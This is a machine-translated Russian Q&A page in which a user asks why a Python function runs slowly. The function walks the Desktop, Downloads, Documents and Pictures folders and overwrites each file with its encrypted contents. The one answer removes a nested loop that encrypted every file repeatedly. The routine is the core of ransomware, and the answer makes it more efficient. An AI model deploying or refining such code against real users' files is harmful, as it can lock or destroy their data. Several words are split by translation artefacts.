Функция, которая шифрует файлы, требующие слишком много времени для завершения - PullRequest
0 голосов
/ 07 февраля 2020

У меня есть программа, которая шифрует мои файлы в указанном c месте. Я построил для этого функцию, которая перебирает длину списка, в котором хранятся мои файлы, поэтому, если у меня будет 12 файлов, он будет l oop 12 раз. а затем я перебираю свой каталог, открываю каждый файл для чтения и записи байтов, шифрую их данные и записываю их в файл.

Функция работает нормально, но моя проблема в том, что моя функция принимает еще долго до конца sh, и я не знаю почему.

Есть ли способ улучшить производительность моей функции?

Функция шифрования:

Эта функция занимает много времени, чтобы завершить sh.

def encrypt(self):
        for _ in range(0, len(files())):
            for file in files():
                try:
                    with open(file, 'rb+') as f:
                        plain_text = f.read()
                        cipher_text = self.token.encrypt(plain_text)
                        f.seek(0); f.truncate()
                        f.write(cipher_text)
                except Exception as e:
                    print(f'{e}')

Файлы Функция:

def files(pattern='*'):
    matches = []
    for root, dirnames, filenames in chain(os.walk(desktop_path), os.walk(downloads_path), os.walk(documents_path), os.walk(pictures_path)):
        for filename in filenames:
            full_path = os.path.join(root, filename)
            if filter([full_path], pattern):
                matches.append(os.path.join(root, filename))
    return matches

1 Ответ

5 голосов
/ 07 февраля 2020

Почему вы перебираете вложенные файлы?

for _ in range(0, len(files())):
    for file in files():

должно быть просто

for file in files():

Если у вас было 12 файлов, старый код шифровал бы каждый файл 12 раз.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...